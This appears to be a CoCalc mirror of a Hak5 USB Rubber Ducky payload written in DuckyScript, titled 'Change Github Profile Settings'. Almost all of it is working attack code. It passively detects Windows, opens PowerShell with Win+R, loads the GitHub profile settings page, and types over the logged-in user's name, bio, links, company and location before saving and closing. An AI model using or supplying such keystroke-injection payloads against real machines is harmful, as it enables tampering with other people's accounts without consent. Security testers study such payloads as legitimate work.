Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/execution/Change_Github_Profile_Settings/payload.txt
3018 views
1
REM_BLOCK
2
###################################################
3
# #
4
# Title : Change Github Profile Settings #
5
# Author : Aleff #
6
# Version : 1.0 #
7
# Category : Execution #
8
# Target : Windows 10/11 #
9
# #
10
###################################################
11
END_REM
12
13
REM Requirements:
14
REM - Internet connection
15
REM - Logged in Github
16
REM - PayloadStudio >= 1.3.1
17
18
REM You must set the new Profile Settings
19
DEFINE #NAME example
20
DEFINE #BIO example
21
DEFINE #CUSTOM-PRONOUNS example
22
DEFINE #URL example
23
DEFINE #SOCIAL-ACCOUNT-1 example
24
DEFINE #SOCIAL-ACCOUNT-2 example
25
DEFINE #SOCIAL-ACCOUNT-3 example
26
DEFINE #SOCIAL-ACCOUNT-4 example
27
DEFINE #COMPANY example
28
DEFINE #LOCATION example
29
30
31
EXTENSION PASSIVE_WINDOWS_DETECT
32
REM VERSION 1.1
33
REM AUTHOR: Korben
34
35
REM_BLOCK DOCUMENTATION
36
Windows fully passive OS Detection and passive Detect Ready
37
Includes its own passive detect ready.
38
Does not require additional extensions.
39
40
USAGE:
41
Extension runs inline (here)
42
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
43
boot delay
44
$_OS will be set to WINDOWS or NOT_WINDOWS
45
See end of payload for usage within payload
46
END_REM
47
48
REM CONFIGURATION:
49
DEFINE #MAX_WAIT 150
50
DEFINE #CHECK_INTERVAL 20
51
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
52
DEFINE #NOT_WINDOWS 7
53
54
$_OS = #NOT_WINDOWS
55
56
VAR $MAX_TRIES = #MAX_WAIT
57
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
58
DELAY #CHECK_INTERVAL
59
$MAX_TRIES = ($MAX_TRIES - 1)
60
END_WHILE
61
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
62
$_OS = WINDOWS
63
END_IF
64
65
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
66
IF ($_OS == WINDOWS) THEN
67
STRING HELLO WINDOWS!
68
ELSE
69
STRING HELLO WORLD!
70
END_IF
71
END_REM
72
END_EXTENSION
73
74
75
GUI r
76
DELAY 500
77
STRINGLN powershell
78
DELAY 500
79
80
STRINGLN Start-Process "https://github.com/settings/profile"; exit;
81
REM It depends by the computer power and by the internet connection power
82
DELAY 2000
83
84
REPEAT 37 TAB
85
STRING #NAME
86
REPEAT 4 TAB
87
STRING #BIO
88
TAB
89
REPEAT 4 DOWNARROW
90
STRING #CUSTOM-PRONOUNS
91
TAB
92
STRING #URL
93
TAB
94
STRING #SOCIAL-ACCOUNT-1
95
TAB
96
STRING #SOCIAL-ACCOUNT-2
97
TAB
98
STRING #SOCIAL-ACCOUNT-3
99
TAB
100
STRING #SOCIAL-ACCOUNT-4
101
TAB
102
STRING #COMPANY
103
TAB
104
STRING #LOCATION
105
REPEAT 4 TAB
106
ENTER
107
DELAY 2000
108
ALT-F4
109
110